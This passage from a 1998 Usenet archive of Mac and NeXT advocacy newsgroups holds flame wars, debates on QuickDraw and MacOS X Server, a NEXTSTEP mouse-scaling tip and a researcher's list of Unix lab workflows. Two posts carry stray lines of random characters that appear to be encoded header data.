yours because they are based on my perception of things, and they are
not unreasonable. They are well-reasoned and highly practical. I do not
make vapid or vacuous statements concerning the Macintosh; they are not
subjective in the way of "the Macintosh is the best computer ever,
period", and this is probably what makes you so angry.
> By saying that your information is incontrovertible, you imply that your
> anecdotal evidence is above reproach, and indisputable proof of your
> assertions.
I have explained the matter above.
> That's the implication of your wording. You don't have to use
> the term "proof" for you to suggest that your experience is all the proof
> you need.
No, George, I have resolved the matter to my own satisfaction in my
mind, and I rest confident on my experience as the basis of my opinions.
It is "incontrovertible" in that the experience happened. You may refuse
or dispute my *opinions*, but you cannot dispute the experience itself:
it happened, and you cannot convince me otherwise. I think this should
be self-evident, but I'll be patient if you like.
> I simply pointed out that personal, private observation, while not directly
> refutable (who is to know what people who claim to have seen flying saucers
> really saw), can be highly suspect just from the standpoint of logic. Is it
> LIKELY that person A saw a flying saucer? Is it PROBABLE that person B saw
> an angel?
This is a question for you alone. My experience on the issue at hand
(which, not surprisingly, does not involve flying saucers or other
strawmen) is not a matter of speculation for me. I presuppose the truth
of what I know as secondary only to the testimony of Scripture.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 29 Aug 1998 23:36:19 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sa39j$svg@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E6FD3D.CF960677@ericsson.com> <6s71gd$mk5@newsb.netnews.att.com> <35E71016.9EE361D@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>You said:
>
>> Likewise, your experience does not generalize to the set of Macintosh
>> users, the vast majority of whom have absolutely no problems with
>> floppies or other removable media on the Macintosh.
>
>This is an implicit criticism of "right and wrong conduct". Hey, here's
>an idea: when you play semantics, make sure you know what you're doing,
>and make sure your own posted definitions don't bear out your opponent's
>position.
Challenge : give the sentence of mine that you quoted to ten people,
and see how many read an implicit criticism of right and wrong conduct
in it.
Oh, in writing the quoted sentence I admit to being a bore; it looks
like that is the cost of paying attention to you. That sentence, when
read aloud, sounds pompous. But moralistic it is not.
Also, I don't consider you an opponent, any more than, say, a twelve year
old who lobs a snowball at me. (In this weather, I'd welcome such).
If you imagine that something I post bears you out, consider it a free
service. No thanks required.
-arun gupta
From: aman@aman.com (A-Man)
Newsgroups: comp.sys.next.advocacy
Subject: What do you think of this Idea?
Date: Sat, 29 Aug 1998 18:14:40 -0800
Organization: ICGNetcom
Message-ID: <aman-2908981814400001@sji-ca11-138.ix.netcom.com>
I think Apple should charge everyone $120 for MacOS 8.5 and IN ADDITION
include MacOS X Server with 8.5 running in the blue box. Two CDs in the
box. Try out the exicitng new MacOS X Server or install the amazing 8.5.
Either way you can use 8.5. The power users, sysadmins, and tech freaks
will install Rhapsody. They are going to sell a lot of MacOS 8.5 upgrades
-- what better way to start drumming up excitement over MacOS X Server?
Is this stupid/Crazy/Cool?
--
A-Man: Macintosh user since 1986
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 29 Aug 1998 23:16:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sa25a$ssn@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E6FD3D.CF960677@ericsson.com> <6s71gd$mk5@newsb.netnews.att.com> <35E71016.9EE361D@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>This is another major difference between you and me, Arun. By and large
>I respond to the entirety of a person's posting, generally because I
>trust that if they said it there was a good reason behind it. When I do
>ignore part of a posting, it's usually because that part was irrelevant
>or closed out, not because it was indicting or difficult to refute. "Oh,
>it's not interesting..."
> [snip]
Viva le difference (or whatever) !
-arun gupta
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Fwd: EvangeList Digest V1 #1262
Date: Sun, 30 Aug 1998 10:03:03 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3008981003030001@sdn-ar-002casbarp192.dialsprint.net>
References: <1defsc4.uzig3q12y8v3cN@pppsl910.chicagonet.net> <macghod-2708982236340001@sdn-ar-002casbarp139.dialsprint.net> <1dehyy2.1gd9lbb1uwfz7uN@pppsl847.chicagonet.net> <6sa8av$ste$1@nnrp1.dejanews.com> <macghod-2908981930370001@sdn-ar-001casbarp054.dialsprint.net> <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net> <macghod-2908982205030001@sdn-ar-002casbarp325.dialsprint.net> <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net> <macghod-3008980149260001@sdn-ar-001casbarp311.dialsprint.net> <1dek40w.88i404hpejkpN@pppsl915.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1dek40w.88i404hpejkpN@pppsl915.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> > In article <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>,
> > guess@it.spammer (Cybernaught) wrote:
> >
> > > > OH, he posts 3 things in that article which are all false, and you think
> > > > he nailed me? I have never lived in washington, I was never fired from
> > > > apple, and he has various times said imacs are faster than p2
400's, which
> > > > only occurs in his dreams.
> > >
> > > I said that he nailed you on the first two, and I asked why you threw in
> > > the third. You mentioned the P2 400's, not Jay. Of course the reason
> > > that you did it is obvious. You want to divert attention away from the
> > > way that Jay nailed you.
> >
> > Except for the fact that
> > 1) I DONT live in washington (DUH!!)
> > 2) I wasnt fired from apple.
> >
> > SO I guess he did nail me, except for the fact that everything he said was
> > false
>
> So traceroute lies, is that it? You've been nailed. You can't dance
> your way out of this.
Ok, please explain to us how traceroute would give what city and state I am in?
I have nothing against the state of washington, I have been through oregon
and washington once or twice in my life and it is beautiful. The only
thing is I have never lived in washington :P
Where I live is no secret, I have given the name of the local paper here
in a post. It was in the first post of the thread apple mindshare
skyrocketing.
You have no clue what you are talking about Edwin E THorne
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Egg on face ( was Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 29 Aug 98 15:30:23 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20DCF1A-61CF3@206.165.43.126>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "AIMED-Talk" <aimed-talk@aimed.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
[sorry about repeat send]
I said:
[I'm cross-posting this to a few other newsgroups and mailing lists sans
permission because I do NOT like being called a liar and Mark just did so
by asserting that my comments so distort reality as to be simply "false"
and I would like a few more experienced Mac programmers to either set me or
Mark straight on this issue]
[rest snipt]
From his other remarks, it is obvious that Mark works at Apple and likely
knows what he is talking about, unlike myself...
Hey! Some people say things and become world famous and billionaires.
Some become net-loons.
We can't all have Cosmic RDF's...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 29 Aug 98 15:05:44 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20DC968-4C678@206.165.43.126>
References: <35E77F00.A91784CC@mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "AIMED-Talk" <aimed-talk@aimed.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
[I'm cross-posting this to a few other newsgroups and mailing lists sans
permission because I do NOT like being called a liar and Mark just did so
by asserting that my comments so distort reality as to be simply "false"
and I would like a few more experienced Mac programmers to either set me or
Mark straight on this issue]
marke <markeaton@mindspring.com> said:
>Lawson English wrote:
>>
>> Ummmm...
>>
>> You're aware that the new Carbon graphics is based on the display engine
>of
>> Display PostScript, right?
>>
>> Are you trying to suggest that they're going to go so far as to rewrite
the
>> display engine and then shoe-horn it on top of a QuickDraw (classic)
based
>> windowing system? You can do that with GX, but that's because GX was
>> designed from the ground up to do that.
>>
>> Regardless, the main reason why MacOS never became pre-emptive was
>because
>> the windows manager wouldn't allow it. The main reason why the windows
>> manager wouldn't allow it was because QuickDraw wasn't designed for it
>it.
>
>(as an example QuickDraw in QTML runs in heavily threaded, protected,
>preemptive, multiprocessor NT environments)
Since QuickTime was *designed* to run in heavily threaded, protected,
preemptive, multiprocessor NT environments, whereas the QuickDraw
implemented on MacOS was not, I'm not sure of your point.
>
>>
>> The main reason why QuickDraw wouldn't allow it was because it lacked
>the
>> design that QDe has.
>>
>> Soooo...
>>
>> Seems like they've rewritten the MacOS windowing manager to use QDe,
>no?
>> And so, the new YB will make use of the same windowing manager (at
>least
>> under X) and events will be handled in such a way that both YB and
Carbon
>> apps don't step on each other when handling events. THe details of this
are
>> no doubt being worked out as we speak and those that know for sure are
>> under NDA, so my guess is just as good as yours.
>
>Lawsons post demonstrates a misinformed and distorted view of the
>situation and might as well be called false... The bits of it that
>resemble the truth take what has been publicly talked about and draws
>conclusions that are rather far from the mark.
>
And yours are... what?
QD on MacOS is NOT pre-emptively thread-safe, and does NOT support
multi-processors. This is due to a lot of things, including non-protected
QuickDraw globals. I fail to see how an implementation of a version of the
QD API within the QuickTime API that IS designed for pre-emptive threading
and multi-processing negates my point in any way. The design of QuickDraw,
without extensive modifications, doesn't support the above buzzwords. By
extension, a windows manager based on QuickDraw ALSO wouldn't support the
above buzzwords without extensive modifications.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Subject: Re: NEXTSTEP 3.3 mouse behaviour guts
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.next.misc
References: <6s6pkv$2ch$1@geraldo.cc.utexas.edu> <6s8gub$27c$1@news.imaginet.fr>
In-Reply-To: <6s8gub$27c$1@news.imaginet.fr>
From: Paul Buckley<pb141@columbiaNOBODYHOME.edu>
Message-ID: <K20G1.5$j84.30087@news14.ispnews.com>
NNTP-Posting-Date: Sat, 29 Aug 1998 19:22:18 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 29 Aug 1998 23:22:18 GMT
On 08/29/98, Pascal Bourguignon wrote:
>jeffm@boxybutgood.com (Jeff Meininger) wrote:
>>Is there a way to have non-scaled mouse response, where your cursor
>>moves a distance directly proportional to the distance you moved
>>your mouse? This seems to be the case for the slowest setting under
>>the preferences panel, but it is not fast enough for my taste. From
>>what I understand, I need to mess with some very internal NEXTSTEP
>>voodoo to accomplish this. GKMouseScaler doesn't do exactly what I want
>>because a flat line of a fast enough speed makes the cursor "jumpy"... I
>>just want it faster. Can anyone help me out with this problem?
>>
>>Thanks
>>-Jeff Meininger
>
>
>Have a look at the MouseScaling default.
>
>dwrite NeXT1 MouseScaling "5 2 2 3 6 4 10 5 15 6 22"
>
>The syntax for the value of the MouseScaling is:
> <number_of_entries> { <mouse_distance> <pointer_distance> }
>
>For a fast linear response, I would use:
>
>dwrite NeXT1 MouseScaling "1 1 10"
>
>You have to logout/login to enforce the setting.
>
>__Pascal Bourguignon__
>
>
>
Way back when, Scott Hess wrote a graphical utility for setting these
defaults: Max.app. I don't recall seeing it on the archives so I put a copy
at http://www.columbia.edu/~pb141
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: Sat, 29 Aug 1998 20:54:08 +0200
Organization: priv.
Message-ID: <35E84E50.6A63A332@chem.uit.no>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com> <id_est-2908981335530001@192.168.1.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 29 Aug 1998 18:52:18 GMT
tse_di wrote:
>
> In article <6s0ufu$ikd@news1.panix.com>, sal@panix.com wrote:
>
> > On 25 Aug 1998 11:01:05 GMT, Christian Neuss
> > <neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
> > >According to press reports Apple is building about 8000 iMacs a day,
> > >and around 13% of buyers are replacing Wintel machines. Well, provided
> > >Apple sells iMacs as fast as they can make them (which is probably
> >
> > According to a salesman at J&R computerworld in Manhattan, many of the
> > wintel folks that might buy an iMac are holding off purchase until Apple
> > (or someone else) offers a way to move files over from their old machines.
>
> Assuming an old PC with more or less standard configuration. How is a
> person supposed to move files from that to a new PC? Floppy? This is
> hardly convenient if you have more than a few megabytes of files. If you
> have just a few megs of files just upload them and download them.
> www.imacfloppy.com will give you 3MB of space if you don't get an area on
> on an ISP. A standard PC from a few years ago isn't going to have a Zip
> Drive or any other large capacity removeable drive and it doesn't have
> ethernet.
The easiest way is to simply connect the two PCs by a serial or parallel
cable. Its rather slow, but it works. Another way witch i use when i buy
a new HD is to take out the old HD and put it into the new machine,
transfer the files, then put it back. This is fast, but i would not
recommend it for inexperienced users.
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: What do you think of this Idea?
Date: 30 Aug 1998 18:08:06 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6sc4e6$bt8$2@sibyl.sunrise.ch>
References: <jsapan-3008980837370001@dnai-207-181-206-197.dialup.dnai.com> <aman-2908981814400001@sji-ca11-138.ix.netcom.com>
In Re: What do you think of this Idea? comp.sys.next.advocacy jsapan@dnai.com (Jonathan J. Sapan) writes,
> In article <aman-2908981814400001@sji-ca11-138.ix.netcom.com>,
> aman@aman.com (A-Man) wrote:
>
>> I think Apple should charge everyone $120 for MacOS 8.5 and IN ADDITION
>> include MacOS X Server with 8.5 running in the blue box. Two CDs in the
>> box. Try out the exicitng new MacOS X Server or install the amazing 8.5.
>> Either way you can use 8.5. The power users, sysadmins, and tech freaks
>> will install Rhapsody. They are going to sell a lot of MacOS 8.5 upgrades
>> -- what better way to start drumming up excitement over MacOS X Server?
>>
>> Is this stupid/Crazy/Cool?
>
> It's not stupid, it is crazy, but it would be very, very cool.
It is a hell of an idea! This would give people the possibility to give a try to MacOSX without forcing it on them. It is an incentive to update from MacOS8 to 8.5 as it give the priviledge of trying MacOSX before it is really marketed.
Power user and sysadmins will have the chance to have a client system (8.5) and a "server" system (MacoSX Server) in one bundle.
You have never seen Microsoft selling Win95 and WinNT Server in the same bundle at such a price after all.
Last but not least, it would be a market thermometer for Apple. It would how easily users tends to try the new stuff, etc...
yes, I find the idea great... and bold. But Apple needs to show off and show it can afford to be bold as it is confident about the quality of its products.
regards
Raph
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu>
Message-ID: <8V4G1.2695$MS.5317355@news.rdc1.sdca.home.com>
Date: Sun, 30 Aug 1998 04:53:24 GMT
NNTP-Posting-Date: Sat, 29 Aug 1998 21:53:24 PDT
Organization: @Home Network
In <rmcassid-2908982059360001@dialin9116.slip.uci.edu> Robert Cassidy wrote:
> In article <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> > Stellar presentation. Now you have to address the next leap of logic.
What
> > would Apple obsolete by wresting control of the publishing formats?
>
> Obsolete?
>
>
Yeah, now if Apple integrates all the publishing specifics (ie. drivers,
formats, objects, etc...) at the server level (ala middleware) they
orchestrate the production of work. This specialized serverOS with
publishing integration obsoletes Framemaker, Quark et. al. and now clients
run against the server. Choose your client Adobe, Quark but the hassle of
the workspace printing, exchanging or performing a specific task is
"server-side".
The technical serverOS fix would be a "good" solution since neither Adobe or
Quark are proven stewards of technology. But they perform a valuable
customer service which Apple can't assume. Their service to their customer's
is hard to off-load onto Apple.
So lets do it... A call to integrate the serverOS for an OPEN Publishing
solution. Is that an oxymoron :-)?
-r
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Sun, 30 Aug 1998 01:07:05 +0000
Organization: BM
Message-ID: <6sam92$63d$1@holly.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com>
<rmcassid-2808982317070001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
>Why would the industry want Apple as a sole source supplier?
For the same reason they want MS as the sole supplier of Office.
Ziya Oz
From: rick@mft.neusc.bcm.tmc.edu (Rick Gray)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: What we need from Mac OS X
Date: 30 Aug 1998 20:33:49 GMT
Organization: Division of Neuroscience, Baylor College of Medicine,
Houston, TX
Distribution: world
Message-ID: <6sccvd$5i@gazette.bcm.tmc.edu>
I'm concerned whether the "new" Apple will meet our needs. I have a
NeXT turbo color at home that connects to the lab via PPP through a
local ISP. We have several old black NeXTs and Intel machines, all
running Nextstep 3.3, at the lab. I'm tired of the main discussions
here being about game speed, $400 differences in price between Apple
and Microsoft-running Intel machines, and which processors are
marginally faster. I need comparisons and info for the real work I do
every day. For example, here's what I've been doing this weekend at
home:
1) Used emacs and Omniweb to fix a few bugs in a Perl5 application
that maintains a WWW-based scheduling calendar for our departmental
seminar series.
2) Worked on data analysis. Used a lab-written program to take image
data from a Photometrics frame transfer CCD camera and write out 104
individual ppm files of each frame during a run. These pseudo-color
data reflect changes in intracelluar calcium with time. Then used
programs from the netpbm package to merge each of those frames with an
image of the cell under study and masked the calcium image to the
shape of the cell. Used a csh 'foreach' loop to do all of them.
Another foreach loop rotated all the combined images 90'. Then used
the "makempeg" shell script to combine the 104 images into a MPEG
movie. That script used many of the netpbm programs and the 'mpeg'
program. The end result is a movie of a neuron with the color
changing with time in different parts of the cell during stimulation.
(MPEG-making info from http://www.arc.umn.edu/GVL/Software/mpeg.html).
Viewed the movie with both Movie.app and MPEG_Play.app. Programs used
for all this: netpbm programs (downloaded and compiled with cc),
Project Builder, several shell scripts, OmniWeb searching to find some
of the programs I needed to get off the net, emacs for all editing,
PixelMagician.app to view intermediate ppm images.
3) Continued on data analysis working with XY plots of the data.
Modified a locally-written f77 program (Absoft compiler) to take each
trace and subtract a background trace. Used 'dm' and 'gas' from
UNIX|stat and GNU tools to scale data. Plotted data with nxyplot,
collected several plots as EPS files and added annotation with
SuperDraw.app.
4) We use LaTeX for manuscript preparation. We also use TiB to
maintain a lab database of bibliographic references and format the
citations and bibliographies. This weekend I investigated using
PubMed as a tool to gather lists of new articles every week. To do
this I wrote an HTML front end to send requests directly to the
National Library of Medicine to get current tables of content for a
list of about 100 scientific journals we follow. Articles desired are
then marked, and a list of articles (in Medline format) are
downloaded. This list is then massaged with Perl to convert it into
refer format for inclusion in our bibliographic database.
5) Rlogin'd to different machines at work to fix a few mail
configuration files and update aliases for people who have moved.
So, in one weekend I used
a) emacs for all editing
b) OmniWeb to find and download program source code off the net and
test locally-generated HTML code
c) The plain C compiler and objective C compiler to build programs
d) lots of command-line and csh-script programs (using pipes
and redirection)
e) Perl for text manipulation and generating HTML code on-the-run
f) a f77 compiler for some numerical analysis (I think fastest in
fortran for numerical stuff; shows my age, eh?)
g) the netpbm programs (built from C source; some programs tweaked for
our special uses)
h) make and makefiles
i) nxyplot for data visualization and saving plots in EPS
j) SuperDraw to combine EPS files on one page
k) command-line FTP to move files between home and lab.
l) GateKeeper to handle PPP connections.
m) NextMail to send files containing images to co-workers for
feedback.
n) Unix networking to log into different machines to update
configurations.
Other things we need in the lab
a) We use SafetyNet to back up our files every night from all the
local machines with NFS-mounted directories
b) We need to have a good driver kit to write drivers for data
acquisition hardware (a/d, d/a converters; CCD cameras)
c) lots of networking; data may be crunched an another machine, then
displayed on a NeXT. We use NXHost to run some old black-only apps
and display on Intel machines.
Nextstep makes all of the above easy. We also have a new SGI in the
lab; it's fast as hell for straight number crunching, but just not as
easy to use for things like the above. X looks bad compared to the
Next window manager and display. Next services and universal cut&paste
make things so easy. I guess I use about 75% general Unix
command-line tools and 25% point&click apps; the proportions are
opposite for most in the lab and closer to 98% point&click for the
rest. Nextstep makes up all happy, regardless of our usage styles.
If MacOS X will let us do all of the above, we'll likely go with
Apples to replace our aging NeXTstep-running machines. If not it'll
be really hard to decide between NT, Linux, SGI, or a bullet in the
head.
--
Rick Gray, Ph.D., Div. Neuroscience, Baylor Col. Med., Houston, Tx 77030
rick@mft.neusc.bcm.tmc.edu | http://mft.neusc.bcm.tmc.edu/cnl
Date: Sun, 30 Aug 1998 12:18:28 -0600
From: tonywong@_no_spam_compusmart.ab.ca (Tony Wong)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <tonywong-3008981218290001@remote1587.compusmart.ab.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <6s03tm$g1o$2@ash.prod.itd.earthlink.net> <35e4a16b.0@news3.paonline.com> <35E86452.50826CC6@from.spammers>
I'm sorry, the P2 does come in a 333 with a 66 Front side bus (Motherboard
speed in Intel speak), as does the new Celeron A chip.
The P2 is supposed to benchmark at the same speed as the CeleryA (512K
cache @ 2:1 vs. 128K cache @ 1:1)
Tony
In article <35E86452.50826CC6@from.spammers>, concealed@from.spammers wrote:
>The PII doesn't come in 333Mhz versions, only the Celeron does, and it
shouldn't
>cost anywhere near that much. Most Celeron-based systems are less than $1500
>list price.
>
>I don't understand how Rob paid as much for a Celeron (333Mhz) as Dell sells
>it's Pentium® II, 450 MHz tower with premium sound for $2,759. Almost every
>brand has a home PC with a 300Mhz PII (which is usually faster than the
Celeron)
>for less than $1500.
>
>Rob might have bought an Optiflex from Dell, as these are almost that much
>($1900-2600 for 333Mhz). The Optiflex are business systems (they are
>LAN-managed, more upgrade-able and have locking cabinets and other features
>requested by corporate and government IT departments). Comparing an iMac to a
>Optiflex is like comparing a calculator to a cash register, they aren't
even for
>the same purpose.
>
>--Carl
>
>Rob Speed wrote:
>
>> I have a 333mhz PII from Dell which, when I bought it, cost $3,567
>> before tax and shipping. My new iMac arrived last week at a cost of $1,299
>> before shipping etc. First of all, Mac OS8 uses a maximum of 8MB after a
>> fresh install, with the exception of iMacs. There is an additional 3MB of
>> memory used by a file which replaces a number of ROM chips. This may seem
>> like a stupid idea at first, but the payoffs are huge. First of all, it
>> brings down the price a couple hundred bucks. That alone is worth it since
>> you can double the total amount of memory available with the money you saved
>> (and I did.) Secondly, it gives the computer a big speed boost. This is
>> because the bus is well more than twice the speed in RAM than ROM. I've
>> estimated that it's about as fast as a 266mhz G3, or about a 400mhz PII. Oh,
>> and Windows95/98 does NOT use 4MB of RAM, that's a bunch of bull...
>>
>> -Rob Speed
>> http://www.cshore.com/rspeed
>>
>> --------------------------------------------
>>
>> >Con-Tiki wrote in message <35E38CF3.41CB9A34@geocities.com>...
>> >I've seen a G3 350.
>> >I tell you, my PII266 kicks the G3 I saw.
>> >The G3 is faster, but Mac O/s 8 uses to much Ram.
>> >Windows - 4mb
>> >Linux - 4mb
>> >Mac O/s 8 - 11mb
>> >That is the reason why.
>> >
>> >thanks
>> >bye
--
remove no spam to reply...
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Fwd: EvangeList Digest V1 #1262
From: guess@it.spammer (Cybernaught)
Message-ID: <1deks9k.4bpk3ydlwtkgN@pppsl944.chicagonet.net>
References: <1defsc4.uzig3q12y8v3cN@pppsl910.chicagonet.net> <macghod-2708982236340001@sdn-ar-002casbarp139.dialsprint.net> <1dehyy2.1gd9lbb1uwfz7uN@pppsl847.chicagonet.net> <6sa8av$ste$1@nnrp1.dejanews.com> <macghod-2908981930370001@sdn-ar-001casbarp054.dialsprint.net> <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net> <macghod-2908982205030001@sdn-ar-002casbarp325.dialsprint.net> <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net> <macghod-3008980149260001@sdn-ar-001casbarp311.dialsprint.net> <1dek40w.88i404hpejkpN@pppsl915.chicagonet.net> <macghod-3008981003030001@sdn-ar-002casbarp192.dialsprint.net>
NNTP-Posting-Date: Sun, 30 Aug 1998 14:11:36 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 30 Aug 1998 13:10:48 -0600
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1dek40w.88i404hpejkpN@pppsl915.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > > In article <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>,
> > > guess@it.spammer (Cybernaught) wrote:
> > >
> > > > > OH, he posts 3 things in that article which are all false, and you
> > > > > think he nailed me? I have never lived in washington, I was never
> > > > > fired from apple, and he has various times said imacs are faster
> > > > > than p2
> 400's, which
> > > > > only occurs in his dreams.
> > > >
> > > > I said that he nailed you on the first two, and I asked why you threw in
> > > > the third. You mentioned the P2 400's, not Jay. Of course the reason
> > > > that you did it is obvious. You want to divert attention away from the
> > > > way that Jay nailed you.
> > >
> > > Except for the fact that
> > > 1) I DONT live in washington (DUH!!)
> > > 2) I wasnt fired from apple.
> > >
> > > SO I guess he did nail me, except for the fact that everything he said was
> > > false
> >
> > So traceroute lies, is that it? You've been nailed. You can't dance
> > your way out of this.
>
> Ok, please explain to us how traceroute would give what city and state I
> am in? I have nothing against the state of washington, I have been through
> oregon and washington once or twice in my life and it is beautiful. The
> only thing is I have never lived in washington :P
No, I won't explain. It can give you that information, but it's better
to keep you ignorant of how, so you can't cover yourself. You've been
nailed.
>
> Where I live is no secret, I have given the name of the local paper here
> in a post. It was in the first post of the thread apple mindshare
> skyrocketing.
You know the name of a newspaper, so that proves where you live?
Newspapers are on-line now, and you could always get them mailed to you.
Nice try, but you're still nailed.
>
> You have no clue what you are talking about Edwin E THorne
You're giving me yet another name? Okay, fine by me. You're still
nailed.
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OS X
Date: Sun, 30 Aug 1998 18:58:08 -0500
Organization: Irish, and damn proud of it!
Distribution: world
Message-ID: <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <6sccvd$5i@gazette.bcm.tmc.edu>, rick@mft.neusc.bcm.tmc.edu
(Rick Gray) wrote:
> I'm concerned whether the "new" Apple will meet our needs. I have a
> NeXT turbo color at home that connects to the lab via PPP through a
> local ISP. We have several old black NeXTs and Intel machines, all
> running Nextstep 3.3, at the lab. I'm tired of the main discussions
> here being about game speed, $400 differences in price between Apple
> and Microsoft-running Intel machines, and which processors are
> marginally faster. I need comparisons and info for the real work I do
> every day. For example, here's what I've been doing this weekend at
> home:
>
> 1) Used emacs and Omniweb to fix a few bugs in a Perl5 application
> that maintains a WWW-based scheduling calendar for our departmental
> seminar series.
>
